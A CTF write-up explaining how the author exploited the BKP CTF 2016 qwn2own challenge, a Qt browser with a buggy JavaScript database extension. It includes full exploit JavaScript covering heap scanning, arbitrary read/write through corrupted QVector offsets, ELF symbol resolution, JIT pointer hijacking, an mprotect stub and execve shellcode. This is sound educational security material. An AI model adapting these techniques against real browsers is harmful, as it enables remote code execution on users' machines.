BKP CTF 2016 > qwn2own - generic browser exploits
I've recently had the pleasure to stay for a couple of weeks in the gorgeous industrial zone of Belmont, WA. Nearest pub being a ~25 minutes walk, I've put my 5 Kbps Internet connection to good use and downloaded a few challenges from recent CTFs. qwn2own from the latest Boston Key Party CTF definitely stood out, as we don't often see browser exploitation challenges in CTFs. I reckon it very successfully touched the browser exploitation world, as it required players to use techniques close to nowadays client-side exploits, but with the ability to easily debug and look at the underlying source. And so I've decided to use this challenge as a material for my yearly article which will try to cover why corrupted vector/array objects can be (and often are) used to write universal, per platform, browser exploits.
The challenge itself was distributed in this archive, which contained an x64/PIE/Full RELRO binary of a simple QT-based browser with a custom Javascript extension, "BKPDataBase". Basically, a database object can be used to create and manage data stores (vectors) or keyed stores (maps) as I think their example page illustrates well:
<head id="special"> BKPDataBase example usage. </head> <script type="text/javascript"> try{ db = BKPDataBase.create("mydb", "mypassword"); joedb = BKPDataBase.create("joedb", "joepassword"); tdeldb = BKPDataBase.create("tdeldb", "delpassword"); r = BKPDataBase.deldb("tdeldb", "delpassword"); alert(r == 1); mjoedb = BKPDataBase.getdb("joedb", "joepassword"); alert(mjoedb == joedb); var store_pin = 1234 intst = db.createStore("myintstore", 1, [1,2,3,4,5,6,7,8,9,10], store_pin); strst = db.createStore("mystringstore", 2, ["a", "b", "c", "d", "e"], store_pin); kst = db.createKeyedStore("mykeyedstore", {"akey": "avalue"}, store_pin); intst.append(31); intst.append(32); intst.append(33); alert(intst.getall()); intst.cut(5, 8); alert(intst.getall()); alert(intst.get(5)); strst.append(["olala","yipii","eddimalou"]); alert(strst.getall()); strst.remove(2); alert(strst.getall()); kst.insert({"anotherkey":"anothervalue"}); alert(kst.get("akey")); alert(kst.get("anotherkey")); kstdict = kst.getall(); alert(kstdict["akey"] == kst.get("akey")); alert("SS size: " + strst.size()); alert("IS size: " + intst.size()); alert("KS size: " + kst.size()); alert("Done"); }catch(e){alert(e);}; </script>Vector control
The object of interest in this challenge is one of the store types, the "BKPStore" class.
class BKPStore : public QObject { Q_OBJECT public: BKPStore(QObject * parent = 0, const QString &name = 0, quint8 tp = 0, QVariant var = 0, qulonglong store_ping = 0); void StoreData(QVariant v); Q_INVOKABLE QVariant getall(); Q_INVOKABLE QVariant get(int idx); Q_INVOKABLE int insert(unsigned int idx, QVariant var); Q_INVOKABLE int append(QVariant var); Q_INVOKABLE void remove(int idx); Q_INVOKABLE void cut(int beg, int end); Q_INVOKABLE int size(); private: quint8 type; // specifies which type to of vector // to use QVector<QVariant> varvect; QVector<qulonglong> intvect; QVector<QString> strvect; qulonglong store_ping; };
Basically each store has a type defined upon construction, between 0 and 2, which decides which type of vector it uses internally (varvect, intvect or strvect). We will jump straight to the vuln since it won't be the main focus of this article:
void BKPStore::remove(int idx){ if(this->type == 0){ this->varvect.erase(this->varvect.begin() + idx); }else if(this->type == 1){ this->intvect.erase(this->intvect.begin() + idx); }else if(this->type == 2){ this->strvect.erase(this->strvect.begin() + idx); }else{ // this doesn't happen ever BKPException ex; throw ex; } }
In the BKPStore::remove function above, no checks are performed on the idx value (the cut function was also vulnerable). For vectors, as an iterator is nothing more than a pointer within the vector's element array, this means that we can provide an out of bounds pointer to the erase method (corelib/tools/qvector.h):
template <typename T> typename QVector<T>::iterator QVector<T>::erase(iterator abegin, iterator aend) { const int itemsToErase = aend - abegin; if (!itemsToErase) return abegin; const int itemsUntouched = abegin - d->begin(); if (d->alloc) { detach(); abegin = d->begin() + itemsUntouched; aend = abegin + itemsToErase; if (QTypeInfo<T>::isStatic) { [...] } else { destruct(abegin, aend); memmove(abegin, aend, (d->size - itemsToErase - itemsUntouched) * sizeof(T)); } d->size -= itemsToErase; } return d->begin() + itemsUntouched; }
Removing debug asserts and irrelevant code, one can see that erase pretty much only shifts array elements so that newly erased elements do not leave a gap. This is performed via a memmove where the iterators provided as parameters are reused without further checks. This means that, for instance, if a -1 index is provided to BKPStore::remove, Qvector::erase will happily shift the array elements and overwrite the qword residing before the array by the value of its element 0.
So we can corrupt what's before the element array (./corelib/tools/qarraydata.h):
struct Q_CORE_EXPORT QArrayData { QtPrivate::RefCount ref; int size; uint alloc : 31; uint capacityReserved : 1; qptrdiff offset; // in bytes from beginning of header ... // array starts here }
We can therefore directly overwrite the "offset" field, which is utilised to reference the position of the array relatively to the object itself (i.e. the array starts at this + offset).
We can overwrite this offset with a value from one of the three types supported by BKPStore: a pointer to an arbitrary QVariant or Qstring, or... an arbitrary qulonglong (unsigned 64-bits integer). This means we can control the exact value of the offset. For instance, setting the offset to 0 causes the array element to officialy start at the beginning of the object (the "ref" attribute). Time to try:
<html> <head> <title>a16 le sapeur</title> </head> <body> <div id="yolo"></div> <script type="text/javascript"> var db = BKPDataBase.create("a", "b"); kst = db.createStore("A", 1, [0, 1, 2, 3, 4, 5], 1234); kst.remove(-1); // offset => beginning of table var x = ""; for (var i=0;i<5;i++) x += kst.get(i).toString(16) + " "; document.getElementById("yolo").innerHTML = x; </script> </body> </html>Viewing this page in the qwn2own browser:
The corruption happened has expected, and the first element contains both the ref (1) and size (5) parameters, the second element contains the alloc and capacity reserved attributes, the third is the offset parameter which we did set to zero, and the 4th is what was previously the start of the array.
It is now possible to further corrupt the object and set the offset and size fields to arbitrary values. This allows us to use normal vector operations (get and insert) as arbitrary memory read and write primitives. And this is exactly what an entire portion of client-side exploits try to do: leverage that type confusion / overflow / UaF to control vector/array objects's size and/or offsets and gain free reign over memory.
Locating ourselves in memoryAt that point, we need a reliable way to position our corrupted element in memory, or we won't be able to actually leverage control over the object. The easiest in many situations is to either recognise specific heap structures which leak address information where applicable, or to allocate another object supposed to go in the same heap and displaying an easily recognisable memory pattern. The main obstacle in these exploits is often the relative unpredictability of garbage collection, and therefore of the heap layout. Of course, there are a couple of things we can do to improve this:
<script type="text/javascript"> var db = BKPDataBase.create("a", "b"); // stabilise the heap var _yolo = new Array(500); for (var i =0;i<500;i++) _yolo[i] = db.createStore(i.toString(16), 1, [0, 1, 2, 3, 4, 5], 1234); kst = db.createStore("A", 1, [0, 1, 2, 3, 4, 5], 1234); // corrupted vector kst2 = db.createStore("B", 1, [0, 1, 2, 3, 4, 5], 0x5031337); // needle kst.remove(-1); kst.insert(0, 0xffffffff00000001); // size = 0xffffffff to be able to read what's after our array var idx = -1; for (i=0;i<0x100;i++) { // should be close, better off reloading if not nearby x = kst.get(i); if (x == 0x5031337 && (kst.get(i-1) == kst.get(i-3))) { // double check is varvect == strvect (supposed to be the default shared_null vector) idx = i; break; } } if (idx == -1) { alert("Not found, reloading..."); document.location = window.location.href; } else { document.getElementById("yolo").innerHTML = "Found at idx " + i; } </script>
When opening this in the qwn2own browser, we seem to be able to find our second store every time, with the occasional alert(), and without even needing to spray store objects. So far, so good. With this, we get quite a bit of useful information already:
kst = db.createStore("A", 1, [0, 1, 2, 3, 4, 5], 1234); kst2 = db.createStore("B", 1, [0xbadb00b5, 0xdeadbeef, 2, 3, 4, 5], 0x5031337); // needle kst.remove(-1); kst.insert(0, 0xffffffff00000001); var obj1_addr = null; var obj2_vector_addr = null; for (i=0;i<0x100;i++) { x = kst.get(i); if (x == 0x5031337 && (kst.get(i-1) == kst.get(i-3))) { obj2_vector_addr = kst.get(i-2); while (i++) { if (kst.get(i) == 0xbadb00b5 && kst.get(i+1) == 0xdeadbeef) { obj1_addr = obj2_vector_addr - (i-3)*8; break; } } break; } } if (obj1_addr == null) { document.location = window.location.href; } else { document.getElementById("yolo").innerHTML = "Corrupted vector at " + obj1_addr.toString(16); }Finding arbitrary functions in memory
A next step, which is not always needed but can be of great help sometimes, would be to find the address of arbitrary library functions we'd like to execute. Actual exploits often target VirtualProtect/mprotect to set one of the controlled heap regions as RWX and jump to that. This obviously allows for more complex code injection and returning appropriate values for a graceful exit.
At that point, in an actual attack we already have knowledge of the platform and whether the browser's executable is 64 or 32-bits through JS. This information is most of the time sent to the server in a first step, and the payload for the targeted platform is then selected appropriately (needed to ensure the current browser/plugin is in a vulnerable version anyway). So from that point let's say we know it's Linux and the browser is 64-bits. What is following would therefore have to be adjusted for other platforms/architectures (to be fair 32-bits would have also slightly changed the calculation of objects addresses). The generic principle however remains the same on every platform/architecture: use the arbitrary read to find find the start of a module, reparse the executable, get wanted symbol from import/export/relocation table, move to that new module and repeat until we get the symbol we were looking for.
We already have the QVector's vtable address. Leaking any function from this table will therefore give us a qwn2own or libQT5Core .text address. Applying the process we just mentioned, we will reparse the library in memory, obtain a libc .text address from the qwn2own or libQT5Core GOT, reparse the libc and obtain the address of mprotect's exported symbol.
var db = BKPDataBase.create("a", "b"); var _yolo = new Array(500); for (var i =0;i<500;i++) _yolo[i] = db.createStore(i.toString(16), 1, [0, 1, 2, 3, 4, 5], 1234); kst = db.createStore("A", 1, [0, 1, 2, 3, 4, 5], 1234); kst2 = db.createStore("B", 1, [0xbadb00b5, 0xdeadbeef, 2, 3, 4, 5], 0x5031337); kst.remove(-1); kst.insert(0, 0xffffffff00000001); var obj1_addr = null; var obj2_vector_addr = null; var obj2_vtable_idx = null; for (i=0;i<0x100;i++) { x = kst.get(i); if (x == 0x5031337 && (kst.get(i-1) == kst.get(i-3))) { obj2_vtable_idx = i-6; obj2_vector_addr = kst.get(i-2); while (i++) { if (kst.get(i) == 0xbadb00b5 && kst.get(i+1) == 0xdeadbeef) { obj1_addr = obj2_vector_addr - (i-3)*8; break; } } break; } } if (obj1_addr == null) { document.location = window.location.href; } else { function read_at(address) { // use kst to modify offset of kst2 and read 8 bytes from arbitrary address kst.insert((obj2_vector_addr + 16 - obj1_addr)/8, address - obj2_vector_addr); return kst2.get(0); } function strcmp(addr, s2) { //compare s2 with string at address addr for (var i=0;i<s2.length;i++) if (((read_at(addr+i-2) / 0x10000) & 0xff) != s2.charCodeAt(i)) return false; return true; } function get_sym(base, symname) { base -= (base & 0xfff); while (1) { if (((read_at(base)/0x10000) >>>0) == 0x0102464c) // found ELF header break; base -= 0x1000; } //parse ELF to get address of symbols and relocation sections phdr_start = read_at(base + 0x20); phdr_sz = read_at(base + 0x1e + 3*8) & 0xffff; phdr_cnt = read_at(base + 0x20 + 3*8) & 0xffff; var hdr_addr; var load_base=0; var dynamic; var dyn_cnt; for (var i=0;i<phdr_cnt;i++) { hdr_addr = phdr_start + (i*phdr_sz); switch(read_at(base + hdr_addr) & 0xff) { case 1: if (read_at(base + hdr_addr+8) == 0) load_base = read_at(base + hdr_addr+16); break; case 2: dynamic = read_at(base + hdr_addr+16); dyn_cnt = read_at(base + hdr_addr+40) / 16; break; default: break; } } dynamic -= load_base; var strtab, symtab, strsz=0; var rel, relsz=0, relent, relplt=0, relpltsz=0, is_rela=false; var tmp; for (i=0; i<dyn_cnt; i++) { tmp = dynamic + (i<<4); switch (read_at(base + tmp)) { case 5: strtab = read_at(base + tmp + 8); break; case 6: symtab = read_at(base + tmp + 8); break; case 10: strsz = read_at(base + tmp + 8); break; case 7: is_rela = true; case 17: rel = read_at(base + tmp + 8); break; case 8: case 18: relsz = read_at(base + tmp + 8); break; case 9: case 19: relent = read_at(base + tmp + 8); break; case 0x17: relplt = read_at(base + tmp + 8); break; case 2: relpltsz = read_at(base + tmp + 8); break; } } var stridx; var sym_offset; //local symbols for(i=0;;i++) { stridx = read_at(symtab + (i*0x18)) >>> 0; if (stridx > strsz) break; sym_offset = read_at(symtab + (i*0x18) + 8); if (sym_offset != 0 && strcmp(strtab + stridx, symname) == true) return sym_offset + base; } // PLT relocations for (i=0;i<relpltsz/relent;i++) { stridx = read_at(symtab + ((read_at(relplt + (i*0x18) + 12) >>> 0)*0x18))>>> 0; if (strcmp(strtab + stridx, symname) == true) return read_at(relplt + (i*relent)) + (is_rela ? read_at(relplt + (i*relent)+0x10) : 0) + base; } // dynamic relocations for (i=0;i<relsz/relent;i++) { stridx = read_at(symtab + ((read_at(rel + (i*0x18) + 12) >>> 0)*0x18)) >>> 0; if (strcmp(strtab + stridx, symname) == true) return read_at(rel + (i*relent)) + (is_rela ? read_at(rel + (i*relent)+0x10) : 0) + base; } return -1; } vtable_addr = read_at(obj1_addr + obj2_vtable_idx*8); vtable_orig = read_at(vtable_addr); function_address = read_at(vtable_addr + 16); libc_start_main = read_at(get_sym(function_address, "__libc_start_main")); mprotect = get_sym(libc_start_main, "mprotect"); document.getElementById("yolo").innerHTML = "mprotect @ " + mprotect.toString(16); }
Worth mentioning here: JavaScript stores 64-bits integer in the double precision format. This means that only numbers from -2^52 to 2^52 are actually represented accurately. In strings or with the ELF header, numbers will often be higher than that, which therefore impacts the 12 LSB. Only bytes 2 to 8 can therefore be completely trusted. We'd need to do that for every read operation on systems that can have addresses greater than 2^52 (i.e. grsec), and writes would have to be divided in at least two 32-bits operations to ensure accuracy.
Code execution and graceful exitGetting there.. Actually, we got RCE already: we can determine addresses of arbitrary data within the heap, got a vtable pointer and any libc function/gadget we want. However, in a real attack scenario, we don't want to overwrite the vtable pointer, get system()/WinExec() happening and happily crash afterwards. Moreover, we'd really like to get shellcode execution, or it can start getting ugly on some platforms and without knowledge of the tools installed on the remote system. Some of our options:
A slight problem is that we are working on the normal heap at the moment and we don't really have a straightforward way to get a reference to JS/WebKit objects (which reside in custom heaps). However, we can read any part of memory and we know how to find relevant libraries, so in the end it's only a matter of time before we find a reliable way to locate a nice static object (i.e. shared objects such as mutexes) living in that region, or any recognisable object containing such addresses.
In short, this step can probably be done in a hundred different ways, via precise knowledge of objects involved, or simple observation. In this example, I didn't delve into the specifics of Qt + WebKit, but observed that the normal heap contained objects which themselves contained description of the different custom heaps/regions allocated by QtWebKit. They can be recognised because they contain page-aligned addresses, as well as the segment's size, which can be cross-checked with other fields of the object (number of regions, region size). Their JS heap is also always divided in two regions. This should be specific enough for us to find that JS heap base and therefore our function object's address.
Stitching things together:
// Step 1: forge array to look for in memory var bab = "babar"; targeted = function(a) { return 12345^a; } _yol = new Array(20); for (i=0;i<20;i++) _yol[i] = bab; _yol[13] = targeted; // item 13 is the function object we're after func_addr = null; // Step 2: heurisitcally look for the JS heap base for (var jimbo = obj1_addr;func_addr == null;jimbo-=8) { // check chunk is valid chunksz = read_at(jimbo); if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue; chunksz -= chunksz & 1; nextsz = read_at(jimbo+chunksz); if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz&1)!=1) continue; // page aligned addresses? heapaddr = read_at(jimbo+10*8); if ((heapaddr <= obj1_addr) || ((heapaddr & 0xfff) != 0)) continue; if (heapaddr != read_at(jimbo + 11*8)) continue; /* matches JS heap caracs? */ nbregions = read_at(jimbo+2*8); regsz = read_at(jimbo+4*8); heapsz = read_at(jimbo + 12*8); if (nbregions != 2 || ((heapsz & 0xfff) != 0) || ((regsz & 0xfff) != 0) || heapsz == 0 || nbregions*regsz != heapsz) continue; // Step 3: look in that heap for our crafted array for (i=8;i<heapsz;i+=8) { babar = read_at(heapaddr + i); if (babar < obj1_addr) continue; match = true; for (j=1;j<20;j++) { if (((j == 13) && (read_at(heapaddr + i + j*8) == babar)) || ((j != 13) && (read_at(heapaddr + i + j*8) != babar))) { match = false; break; } } if (match == true) { func_addr = read_at(heapaddr + i + 13*8); break; } } // Step 4: from here, we have our function object's address in func_addr; }
Ok, so now we have a function object. We have to call it once to get the function JIT'ed and can then get the address of the function's code. With some technologies, we could juste change the JIT pointer to mprotect/VirtualProtect and set the right parameters to mark our shellcode executable, then change the JIT pointer to point to our shellcode. In JS however, arguments are passed through the call frame and have to return a JSValue object, so this is a bit more complex to pull off, even though more reliable.
An alternative is to have a small bytecode stub which mprotects the normally larger shellcode buffer. On Linux it's easier to use the appropriate syscall, but on Windows we'd be better off directly using VirtualProtect's address. This is what I chose here, and I placed the stub at the beginning of the JIT page we're in (older functions unlikely to be called). In a careful exploit we'd of course backup what we overwrite and restore it right after. A third way could have been to spray dummy functions and overwrite their code.
<html> <head> <title>a16 le sapeur</title> </head> <body> <div id="yolo"></div> <script type="text/javascript"> function zooby(shellcode) { try{ var db = BKPDataBase.create("a", "b"); var _yolo = new Array(500); for (var i =0;i<500;i++) _yolo[i] = db.createStore(i.toString(16), 1, [0, 1, 2, 3, 4, 5], 1234); kst = db.createStore("A", 1, [0, 1, 2, 3, 4, 5], 1234); kst2 = db.createStore("B", 1, [0xbadb00b5, 0xdeadbeef, 2, 3, 4, 5], 0x5031337); kst.remove(-1); kst.insert(0, 0xffffffff00000001); var obj1_addr = null; var obj2_vector_addr = null; var obj2_vtable_idx = null; for (i=0;i<0x100;i++) { if (kst.get(i) == 0x5031337 && (kst.get(i-1) == kst.get(i-3))) { obj2_vtable_idx = i-6; obj2_vector_addr = kst.get(i-2); while (i++) { if (kst.get(i) == 0xbadb00b5 && kst.get(i+1) == 0xdeadbeef) { obj1_addr = obj2_vector_addr - (i-3)*8; break; } } break; } } if (obj1_addr == null) { document.location = window.location.href; } else { function read_at(address) { kst.insert((obj2_vector_addr + 16 - obj1_addr)/8, address - obj2_vector_addr); return kst2.get(0); } function read_char(addr) { return (read_at(addr-2) / 0x10000) & 0xff; } function write_at(addr, val) { read_at(addr); kst2.insert(0, val); } // shellcode str / targeted function object array var bab = shellcode; targeted = function(a) { return 12345^a; } _yol = new Array(20); for (i=0;i<20;i++) _yol[i] = bab; _yol[13] = targeted; func_addr = null; for (var jimbo = obj1_addr;func_addr == null;jimbo-=8) { chunksz = read_at(jimbo); if (chunksz < 0x20 || (chunksz & 0xf1) != chunksz) continue; chunksz -= chunksz & 1; nextsz = read_at(jimbo+chunksz); if (nextsz < 0x20 || (nextsz & 0xfff1) != nextsz || (nextsz&1)!=1) continue; heapaddr = read_at(jimbo+10*8); if ((heapaddr <= obj1_addr) || ((heapaddr & 0xfff) != 0)) continue; if (heapaddr != read_at(jimbo + 11*8)) continue; nbregions = read_at(jimbo+2*8); regsz = read_at(jimbo+4*8); heapsz = read_at(jimbo + 12*8); if (nbregions != 2 || ((heapsz & 0xfff) != 0) || ((regsz & 0xfff) != 0) || heapsz == 0 || nbregions*regsz != heapsz) continue; for (i=8;i<heapsz;i+=8) { babar = read_at(heapaddr + i); if (babar < obj1_addr) continue; match = true; for (j=1;j<20;j++) { if (((j == 13) && (read_at(heapaddr + i + j*8) == babar)) || ((j != 13) && (read_at(heapaddr + i + j*8) != babar))) { match = false; break; } } if (match == true) { func_addr = read_at(heapaddr + i + 13*8); sc_placeholder_obj = read_at(heapaddr + i + 12*8) break; } } } targeted(1); // construct function's code jit_ptr = read_at(func_addr + 8*3) + 8*4 jit_addr = read_at(jit_ptr) shellcode_addr = read_at(sc_placeholder_obj + 8*2) + 8*4; sc_addr_aligned = shellcode_addr - (shellcode_addr&0xfff); // mprotect stub + jmp back to original JIT address stub_addr = jit_addr + 0x1000 - (jit_addr&0xfff); mp1 = "\x57\x56\x52\x48\xbf"; mp2 = "\x6a\x0a\x6a\x07\x5a\x58\x5e\x0f\x05\x5a\x5e\x5f" for (i=0;i<mp1.length;i++) write_at(stub_addr+i, mp1.charCodeAt(i)); write_at(stub_addr+i, sc_addr_aligned); i += 8; write_at(stub_addr+i, 0x68); write_at(stub_addr+i+1, 0x1000 + (shellcode_addr + shellcode.length > sc_addr_aligned + 0x1000 ? 0x1000 : 0)); i += 5; for (j=0;j<mp2.length;j++,i++) write_at(stub_addr+i, mp2.charCodeAt(j)); write_at(stub_addr+i, 0xb848); write_at(stub_addr+i+2, jit_addr); write_at(stub_addr+i+10, 0xe0ff); // jmp back after shellcode i = shellcode.length - 20; write_at(shellcode_addr+i, 0xb848); write_at(shellcode_addr+i+2, jit_addr); write_at(shellcode_addr+i+10, 0xe0ff); // JIT ptr -> mprotect write_at(jit_ptr, stub_addr); targeted(2); // JIT ptr -> shellcode write_at(jit_ptr, shellcode_addr); targeted(3); //fixup corrupted objects read_at(obj2_vector_addr + 8*3); kst.insert(0, 0x500000001); kst.insert(2, 8*3); document.getElementById("yolo").innerHTML = "\\o/"; } } catch(e) {}; } // fork/execve shellcode with some space for the jmp back to the JIT function zooby("\x6a\x39\x58\x0f\x05\x48\x85\xc0\x75\x50\xeb\x1f\x5f\x6a\x00\x57\x48\x8d\x34\x24\xeb\x34\x5a\x6a\x00\x52\x48\x8d\x14\x24\x6a\x3b\x58\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05\xe8\xdc\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x6e\x6f\x6d\x65\x2d\x63\x61\x6c\x63\x75\x6c\x61\x74\x6f\x72\x00\xe8\xc7\xff\xff\xff\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x00AAAAAAAAAAAAAAAAAAAA"); </script> </body> </html>
Here we go, we've got arbitrary shellcode executed without using any particular offset / specific knowledge of the distribution. The only cases where we'd have to adjust the exploit would be if the internal objects layout (for instance, the position of the JIT pointer in the ExecutableBase class) changes - the exploit would have to be slighlty adjusted for the few major browser/plugin versions where such things were changed.
It's refreshing to see CTFs which try to shake things up a bit and propose challenges outside of the well established baseline of memory corruption challenges, congrats to the BKP team for that.
Nice one, and great chall!
Nice trick finding the JIT page(s) ! I couldn't find them so I resorted to resolving ELF symbols. Through the link_map (from r_debug of qwn2own binary), was able to find base addresses of all loaded objects as well as their associated .dynamic sections necessary for resolving the symbols. No hardcoding required there either :P
<spam>https://github.com/acama/ctf/blob/master/bkpctf2016/qwn2own/index.html<spam>
Best,
Tommy Blair